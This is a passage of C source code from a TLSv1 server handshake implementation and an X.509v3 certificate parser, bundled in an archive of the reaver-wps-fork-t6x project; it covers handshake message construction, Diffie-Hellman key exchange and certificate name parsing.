COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "x509v3.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_server.h" #include "tlsv1_server_i.h" static size_t tls_server_cert_chain_der_len(struct tlsv1_server *conn) { size_t len = 0; struct x509_certificate *cert; cert = conn->cred->cert; while (cert) { len += 3 + cert->cert_len; if (x509_certificate_self_signed(cert)) break; cert = x509_certificate_get_subject(conn->cred->trusted_certs, &cert->issuer); } return len; } static int tls_write_server_hello(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; struct os_time now; size_t rlen; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ServerHello"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; os_get_time(&now); WPA_PUT_BE32(conn->server_random, now.sec); if (os_get_random(conn->server_random + 4, TLS_RANDOM_LEN - 4)) { wpa_printf(MSG_ERROR, "TLSv1: Could not generate " "server_random"); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: server_random", conn->server_random, TLS_RANDOM_LEN); conn->session_id_len = TLS_SESSION_ID_MAX_LEN; if (os_get_random(conn->session_id, conn->session_id_len)) { wpa_printf(MSG_ERROR, "TLSv1: Could not generate " "session_id"); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: session_id", conn->session_id, conn->session_id_len); /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_SERVER_HELLO; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - ServerHello */ /* ProtocolVersion server_version */ WPA_PUT_BE16(pos, TLS_VERSION); pos += 2; /* Random random: uint32 gmt_unix_time, opaque random_bytes */ os_memcpy(pos, conn->server_random, TLS_RANDOM_LEN); pos += TLS_RANDOM_LEN; /* SessionID session_id */ *pos++ = conn->session_id_len; os_memcpy(pos, conn->session_id, conn->session_id_len); pos += conn->session_id_len; /* CipherSuite cipher_suite */ WPA_PUT_BE16(pos, conn->cipher_suite); pos += 2; /* CompressionMethod compression_method */ *pos++ = TLS_COMPRESSION_NULL; if (conn->session_ticket && conn->session_ticket_cb) { int res = conn->session_ticket_cb( conn->session_ticket_cb_ctx, conn->session_ticket, conn->session_ticket_len, conn->client_random, conn->server_random, conn->master_secret); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback " "indicated failure"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_HANDSHAKE_FAILURE); return -1; } conn->use_session_ticket = res; if (conn->use_session_ticket) { if (tlsv1_server_derive_keys(conn, NULL, 0) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to " "derive keys"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } } /* * RFC 4507 specifies that server would include an empty * SessionTicket extension in ServerHello and a * NewSessionTicket message after the ServerHello. However, * EAP-FAST (RFC 4851), i.e., the only user of SessionTicket * extension at the moment, does not use such extensions. * * TODO: Add support for configuring RFC 4507 behavior and make * EAP-FAST disable it. */ } WPA_PUT_BE24(hs_length, pos - hs_length - 3); tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create TLS record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; *msgpos = pos; return 0; } static int tls_write_server_certificate(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length, *cert_start; size_t rlen; struct x509_certificate *cert; const struct tls_cipher_suite *suite; suite = tls_get_cipher_suite(conn->rl.cipher_suite); if (suite && suite->key_exchange == TLS_KEY_X_DH_anon) { wpa_printf(MSG_DEBUG, "TLSv1: Do not send Certificate when " "using anonymous DH"); return 0; } pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send Certificate"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - Certificate */ /* uint24 length (to be filled) */ cert_start = pos; pos += 3; cert = conn->cred->cert; while (cert) { if (pos + 3 + cert->cert_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space " "for Certificate (cert_len=%lu left=%lu)", (unsigned long) cert->cert_len, (unsigned long) (end - pos)); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } WPA_PUT_BE24(pos, cert->cert_len); pos += 3; os_memcpy(pos, cert->cert_start, cert->cert_len); pos += cert->cert_len; if (x509_certificate_self_signed(cert)) break; cert = x509_certificate_get_subject(conn->cred->trusted_certs, &cert->issuer); } if (cert == conn->cred->cert || cert == NULL) { /* * Server was not configured with all the needed certificates * to form a full certificate chain. The client may fail to * validate the chain unless it is configured with all the * missing CA certificates. */ wpa_printf(MSG_DEBUG, "TLSv1: Full server certificate chain " "not configured - validation may fail"); } WPA_PUT_BE24(cert_start, pos - cert_start - 3); WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_server_key_exchange(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { tls_key_exchange keyx; const struct tls_cipher_suite *suite; u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen; u8 *dh_ys; size_t dh_ys_len; suite = tls_get_cipher_suite(conn->rl.cipher_suite); if (suite == NULL) keyx = TLS_KEY_X_NULL; else keyx = suite->key_exchange; if (!tls_server_key_exchange_allowed(conn->rl.cipher_suite)) { wpa_printf(MSG_DEBUG, "TLSv1: No ServerKeyExchange needed"); return 0; } if (keyx != TLS_KEY_X_DH_anon) { /* TODO? */ wpa_printf(MSG_DEBUG, "TLSv1: ServerKeyExchange not yet " "supported with key exchange type %d", keyx); return -1; } if (conn->cred == NULL || conn->cred->dh_p == NULL || conn->cred->dh_g == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: No DH parameters available for " "ServerKeyExhcange"); return -1; } os_free(conn->dh_secret); conn->dh_secret_len = conn->cred->dh_p_len; conn->dh_secret = os_malloc(conn->dh_secret_len); if (conn->dh_secret == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate " "memory for secret (Diffie-Hellman)"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (os_get_random(conn->dh_secret, conn->dh_secret_len)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to get random " "data for Diffie-Hellman"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(conn->dh_secret); conn->dh_secret = NULL; return -1; } if (os_memcmp(conn->dh_secret, conn->cred->dh_p, conn->dh_secret_len) > 0) conn->dh_secret[0] = 0; /* make sure secret < p */ pos = conn->dh_secret; while (pos + 1 < conn->dh_secret + conn->dh_secret_len && *pos == 0) pos++; if (pos != conn->dh_secret) { os_memmove(conn->dh_secret, pos, conn->dh_secret_len - (pos - conn->dh_secret)); conn->dh_secret_len -= pos - conn->dh_secret; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: DH server's secret value", conn->dh_secret, conn->dh_secret_len); /* Ys = g^secret mod p */ dh_ys_len = conn->cred->dh_p_len; dh_ys = os_malloc(dh_ys_len); if (dh_ys == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate memory for " "Diffie-Hellman"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (crypto_mod_exp(conn->cred->dh_g, conn->cred->dh_g_len, conn->dh_secret, conn->dh_secret_len, conn->cred->dh_p, conn->cred->dh_p_len, dh_ys, &dh_ys_len)) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(dh_ys); return -1; } wpa_hexdump(MSG_DEBUG, "TLSv1: DH Ys (server's public value)", dh_ys, dh_ys_len); /* * struct { * select (KeyExchangeAlgorithm) { * case diffie_hellman: * ServerDHParams params; * Signature signed_params; * case rsa: * ServerRSAParams params; * Signature signed_params; * }; * } ServerKeyExchange; * * struct { * opaque dh_p<1..2^16-1>; * opaque dh_g<1..2^16-1>; * opaque dh_Ys<1..2^16-1>; * } ServerDHParams; */ pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ServerKeyExchange"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - ServerDHParams */ /* dh_p */ if (pos + 2 + conn->cred->dh_p_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space for " "dh_p"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(dh_ys); return -1; } WPA_PUT_BE16(pos, conn->cred->dh_p_len); pos += 2; os_memcpy(pos, conn->cred->dh_p, conn->cred->dh_p_len); pos += conn->cred->dh_p_len; /* dh_g */ if (pos + 2 + conn->cred->dh_g_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space for " "dh_g"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(dh_ys); return -1; } WPA_PUT_BE16(pos, conn->cred->dh_g_len); pos += 2; os_memcpy(pos, conn->cred->dh_g, conn->cred->dh_g_len); pos += conn->cred->dh_g_len; /* dh_Ys */ if (pos + 2 + dh_ys_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space for " "dh_Ys"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(dh_ys); return -1; } WPA_PUT_BE16(pos, dh_ys_len); pos += 2; os_memcpy(pos, dh_ys, dh_ys_len); pos += dh_ys_len; os_free(dh_ys); WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_server_certificate_request(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen; if (!conn->verify_peer) { wpa_printf(MSG_DEBUG, "TLSv1: No CertificateRequest needed"); return 0; } pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send CertificateRequest"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - CertificateRequest */ /* * enum { * rsa_sign(1), dss_sign(2), rsa_fixed_dh(3), dss_fixed_dh(4), * (255) * } ClientCertificateType; * ClientCertificateType certificate_types<1..2^8-1> */ *pos++ = 1; *pos++ = 1; /* rsa_sign */ /* * opaque DistinguishedName<1..2^16-1> * DistinguishedName certificate_authorities<3..2^16-1> */ /* TODO: add support for listing DNs for trusted CAs */ WPA_PUT_BE16(pos, 0); pos += 2; WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_server_hello_done(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ServerHelloDone"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - ServerHelloDone (empty) */ WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_server_change_cipher_spec(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr; size_t rlen; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ChangeCipherSpec"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; *pos = TLS_CHANGE_CIPHER_SPEC; if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC, rhdr, end - rhdr, 1, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (tlsv1_record_change_write_cipher(&conn->rl) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to set write cipher for " "record layer"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } *msgpos = rhdr + rlen; return 0; } static int tls_write_server_finished(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen, hlen; u8 verify_data[TLS_VERIFY_DATA_LEN]; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN]; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send Finished"); /* Encrypted Handshake Message: Finished */ hlen = MD5_MAC_LEN; if (conn->verify.md5_server == NULL || crypto_hash_finish(conn->verify.md5_server, hash, &hlen) < 0) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_server = NULL; crypto_hash_finish(conn->verify.sha1_server, NULL, NULL); conn->verify.sha1_server = NULL; return -1; } conn->verify.md5_server = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_server == NULL || crypto_hash_finish(conn->verify.sha1_server, hash + MD5_MAC_LEN, &hlen) < 0) { conn->verify.sha1_server = NULL; tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_server = NULL; if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "server finished", hash, MD5_MAC_LEN + SHA1_MAC_LEN, verify_data, TLS_VERIFY_DATA_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate verify_data"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (server)", verify_data, TLS_VERIFY_DATA_LEN); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_FINISHED; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; os_memcpy(pos, verify_data, TLS_VERIFY_DATA_LEN); pos += TLS_VERIFY_DATA_LEN; WPA_PUT_BE24(hs_length, pos - hs_length - 3); tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; *msgpos = pos; return 0; } static u8 * tls_send_server_hello(struct tlsv1_server *conn, size_t *out_len) { u8 *msg, *end, *pos; size_t msglen; *out_len = 0; msglen = 1000 + tls_server_cert_chain_der_len(conn); msg = os_malloc(msglen); if (msg == NULL) return NULL; pos = msg; end = msg + msglen; if (tls_write_server_hello(conn, &pos, end) < 0) { os_free(msg); return NULL; } if (conn->use_session_ticket) { /* Abbreviated handshake using session ticket; RFC 4507 */ if (tls_write_server_change_cipher_spec(conn, &pos, end) < 0 || tls_write_server_finished(conn, &pos, end) < 0) { os_free(msg); return NULL; } *out_len = pos - msg; conn->state = CHANGE_CIPHER_SPEC; return msg; } /* Full handshake */ if (tls_write_server_certificate(conn, &pos, end) < 0 || tls_write_server_key_exchange(conn, &pos, end) < 0 || tls_write_server_certificate_request(conn, &pos, end) < 0 || tls_write_server_hello_done(conn, &pos, end) < 0) { os_free(msg); return NULL; } *out_len = pos - msg; conn->state = CLIENT_CERTIFICATE; return msg; } static u8 * tls_send_change_cipher_spec(struct tlsv1_server *conn, size_t *out_len) { u8 *msg, *end, *pos; *out_len = 0; msg = os_malloc(1000); if (msg == NULL) return NULL; pos = msg; end = msg + 1000; if (tls_write_server_change_cipher_spec(conn, &pos, end) < 0 || tls_write_server_finished(conn, &pos, end) < 0) { os_free(msg); return NULL; } *out_len = pos - msg; wpa_printf(MSG_DEBUG, "TLSv1: Handshake completed successfully"); conn->state = ESTABLISHED; return msg; } u8 * tlsv1_server_handshake_write(struct tlsv1_server *conn, size_t *out_len) { switch (conn->state) { case SERVER_HELLO: return tls_send_server_hello(conn, out_len); case SERVER_CHANGE_CIPHER_SPEC: return tls_send_change_cipher_spec(conn, out_len); default: if (conn->state == ESTABLISHED && conn->use_session_ticket) { /* Abbreviated handshake was already completed. */ return NULL; } wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d while " "generating reply", conn->state); return NULL; } } u8 * tlsv1_server_send_alert(struct tlsv1_server *conn, u8 level, u8 description, size_t *out_len) { u8 *alert, *pos, *length; wpa_printf(MSG_DEBUG, "TLSv1: Send Alert(%d:%d)", level, description); *out_len = 0; alert = os_malloc(10); if (alert == NULL) return NULL; pos = alert; /* TLSPlaintext */ /* ContentType type */ *pos++ = TLS_CONTENT_TYPE_ALERT; /* ProtocolVersion version */ WPA_PUT_BE16(pos, TLS_VERSION); pos += 2; /* uint16 length (to be filled) */ length = pos; pos += 2; /* opaque fragment[TLSPlaintext.length] */ /* Alert */ /* AlertLevel level */ *pos++ = level; /* AlertDescription description */ *pos++ = description; WPA_PUT_BE16(length, pos - length - 2); *out_len = pos - alert; return alert; } reaver-wps-fork-t6x-1.6.6/src/tls/x509v3.c000077500000000000000000001410151363372615500200300ustar00rootroot00000000000000/* * X.509v3 certificate parsing and processing (RFC 3280 profile) * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/crypto.h" #include "asn1.h" #include "x509v3.h" static void x509_free_name(struct x509_name *name) { size_t i; for (i = 0; i < name->num_attr; i++) { os_free(name->attr[i].value); name->attr[i].value = NULL; name->attr[i].type = X509_NAME_ATTR_NOT_USED; } name->num_attr = 0; os_free(name->email); name->email = NULL; os_free(name->alt_email); os_free(name->dns); os_free(name->uri); os_free(name->ip); name->alt_email = name->dns = name->uri = NULL; name->ip = NULL; name->ip_len = 0; os_memset(&name->rid, 0, sizeof(name->rid)); } /** * x509_certificate_free - Free an X.509 certificate * @cert: Certificate to be freed */ void x509_certificate_free(struct x509_certificate *cert) { if (cert == NULL) return; if (cert->next) { wpa_printf(MSG_DEBUG, "X509: x509_certificate_free: cer=%p " "was still on a list (next=%p)\n", cert, cert->next); } x509_free_name(&cert->issuer); x509_free_name(&cert->subject); os_free(cert->public_key); os_free(cert->sign_value); os_free(cert); } /** * x509_certificate_free - Free an X.509 certificate chain * @cert: Pointer to the first certificate in the chain */ void x509_certificate_chain_free(struct x509_certificate *cert) { struct x509_certificate *next; while (cert) { next = cert->next; cert->next = NULL; x509_certificate_free(cert); cert = next; } } static int x509_whitespace(char c) { return c == ' ' || c == '\t'; } static void x509_str_strip_whitespace(char *a) { char *ipos, *opos; int remove_whitespace = 1; ipos = opos = a; while (*ipos) { if (remove_whitespace && x509_whitespace(*ipos)) ipos++; else { remove_whitespace = x509_whitespace(*ipos); *opos++ = *ipos++; } } *opos-- = '\0'; if (opos > a && x509_whitespace(*opos)) *opos = '\0'; } static int x509_str_compare(const char *a, const char *b) { char *aa, *bb; int ret; if (!a && b) return -1; if (a && !b) return 1; if (!a && !b) return 0; aa = os_strdup(a); bb = os_strdup(b); if (aa == NULL || bb == NULL) { os_free(aa); os_free(bb); return os_strcasecmp(a, b); } x509_str_strip_whitespace(aa); x509_str_strip_whitespace(bb); ret = os_strcasecmp(aa, bb); os_free(aa); os_free(bb); return ret; } /** * x509_name_compare - Compare X.509 certificate names * @a: Certificate name * @b: Certificate name * Returns: <0, 0, or >0 based on whether a is less than, equal to, or * greater than b */ int x509_name_compare(struct x509_name *a, struct x509_name *b) { int res; size_t i; if (!a && b) return -1; if (a && !b) return 1; if (!a && !b) return 0; if (a->num_attr < b->num_attr) return -1; if (a->num_attr > b->num_attr) return 1; for (i = 0; i < a->num_attr; i++) { if (a->attr[i].type < b->attr[i].type) return -1; if (a->attr[i].type > b->attr[i].type) return -1; res = x509_str_compare(a->attr[i].value, b->attr[i].value); if (res) return res; } res = x509_str_compare(a->email, b->email); if (res) return res; return 0; } static int x509_parse_algorithm_identifier( const u8 *buf, size_t len, struct x509_algorithm_identifier *id, const u8 **next) { struct asn1_hdr hdr; const u8 *pos, *end; /* * AlgorithmIdentifier ::= SEQUENCE { * algorithm OBJECT IDENTIFIER, * parameters ANY DEFINED BY algorithm OPTIONAL * } */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(AlgorithmIdentifier) - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; end = pos + hdr.length; if (end > buf + len) return -1; *next = end; if (asn1_get_oid(pos, end - pos, &id->oid, &pos)) return -1; /* TODO: optional parameters */ return 0; } static int x509_parse_public_key(const u8 *buf, size_t len, struct x509_certificate *cert, const u8 **next) { struct asn1_hdr hdr; const u8 *pos, *end; /* * SubjectPublicKeyInfo ::= SEQUENCE { * algorithm AlgorithmIdentifier, * subjectPublicKey BIT STRING * } */ pos = buf; end = buf + len; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(SubjectPublicKeyInfo) - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; if (pos + hdr.length > end) return -1; end = pos + hdr.length; *next = end; if (x509_parse_algorithm_identifier(pos, end - pos, &cert->public_key_alg, &pos)) return -1; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_BITSTRING) { wpa_printf(MSG_DEBUG, "X509: Expected BITSTRING " "(subjectPublicKey) - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } if (hdr.length < 1) return -1; pos = hdr.payload; if (*pos) { wpa_printf(MSG_DEBUG, "X509: BITSTRING - %d unused bits", *pos); /* * TODO: should this be rejected? X.509 certificates are * unlikely to use such a construction. Now we would end up * including the extra bits in the buffer which may also be * ok. */ } os_free(cert->public_key); cert->public_key = os_malloc(hdr.length - 1); if (cert->public_key == NULL) { wpa_printf(MSG_DEBUG, "X509: Failed to allocate memory for " "public key"); return -1; } os_memcpy(cert->public_key, pos + 1, hdr.length - 1); cert->public_key_len = hdr.length - 1; wpa_hexdump(MSG_MSGDUMP, "X509: subjectPublicKey", cert->public_key, cert->public_key_len); return 0; } static int x509_parse_name(const u8 *buf, size_t len, struct x509_name *name, const u8 **next) { struct asn1_hdr hdr; const u8 *pos, *end, *set_pos, *set_end, *seq_pos, *seq_end; struct asn1_oid oid; char *val; /* * Name ::= CHOICE { RDNSequence } * RDNSequence ::= SEQUENCE OF RelativeDistinguishedName * RelativeDistinguishedName ::= SET OF AttributeTypeAndValue * AttributeTypeAndValue ::= SEQUENCE { * type AttributeType, * value AttributeValue * } * AttributeType ::= OBJECT IDENTIFIER * AttributeValue ::= ANY DEFINED BY AttributeType */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(Name / RDNSequencer) - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; if (pos + hdr.length > buf + len) return -1; end = *next = pos + hdr.length; while (pos < end) { enum x509_name_attr_type type; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SET) { wpa_printf(MSG_DEBUG, "X509: Expected SET " "(RelativeDistinguishedName) - found class " "%d tag 0x%x", hdr.class, hdr.tag); x509_free_name(name); return -1; } set_pos = hdr.payload; pos = set_end = hdr.payload + hdr.length; if (asn1_get_next(set_pos, set_end - set_pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(AttributeTypeAndValue) - found class %d " "tag 0x%x", hdr.class, hdr.tag); x509_free_name(name); return -1; } seq_pos = hdr.payload; seq_end = hdr.payload + hdr.length; if (asn1_get_oid(seq_pos, seq_end - seq_pos, &oid, &seq_pos)) { x509_free_name(name); return -1; } if (asn1_get_next(seq_pos, seq_end - seq_pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL) { wpa_printf(MSG_DEBUG, "X509: Failed to parse " "AttributeValue"); x509_free_name(name); return -1; } /* RFC 3280: * MUST: country, organization, organizational-unit, * distinguished name qualifier, state or province name, * common name, serial number. * SHOULD: locality, title, surname, given name, initials, * pseudonym, generation qualifier. * MUST: domainComponent (RFC 2247). */ type = X509_NAME_ATTR_NOT_USED; if (oid.len == 4 && oid.oid[0] == 2 && oid.oid[1] == 5 && oid.oid[2] == 4) { /* id-at ::= 2.5.4 */ switch (oid.oid[3]) { case 3: /* commonName */ type = X509_NAME_ATTR_CN; break; case 6: /* countryName */ type = X509_NAME_ATTR_C; break; case 7: /* localityName */ type = X509_NAME_ATTR_L; break; case 8: /* stateOrProvinceName */ type = X509_NAME_ATTR_ST; break; case 10: /* organizationName */ type = X509_NAME_ATTR_O; break; case 11: /* organizationalUnitName */ type = X509_NAME_ATTR_OU; break; } } else if (oid.len == 7 && oid.oid[0] == 1 && oid.oid[1] == 2 && oid.oid[2] == 840 && oid.oid[3] == 113549 && oid.oid[4] == 1 && oid.oid[5] == 9 && oid.oid[6] == 1) { /* 1.2.840.113549.1.9.1 - e-mailAddress */ os_free(name->email); name->email = os_malloc(hdr.length + 1); if (name->email == NULL) { x509_free_name(name); return -1; } os_memcpy(name->email, hdr.payload, hdr.length); name->email[hdr.length] = '\0'; continue; } else if (oid.len == 7 && oid.oid[0] == 0 && oid.oid[1] == 9 && oid.oid[2] == 2342 && oid.oid[3] == 19200300 && oid.oid[4] == 100 && oid.oid[5] == 1 && oid.oid[6] == 25) { /* 0.9.2342.19200300.100.1.25 - domainComponent */ type = X509_NAME_ATTR_DC; } if (type == X509_NAME_ATTR_NOT_USED) { wpa_hexdump(MSG_DEBUG, "X509: Unrecognized OID", (u8 *) oid.oid, oid.len * sizeof(oid.oid[0])); wpa_hexdump_ascii(MSG_MSGDUMP, "X509: Attribute Data", hdr.payload, hdr.length); continue; } if (name->num_attr == X509_MAX_NAME_ATTRIBUTES) { wpa_printf(MSG_INFO, "X509: Too many Name attributes"); 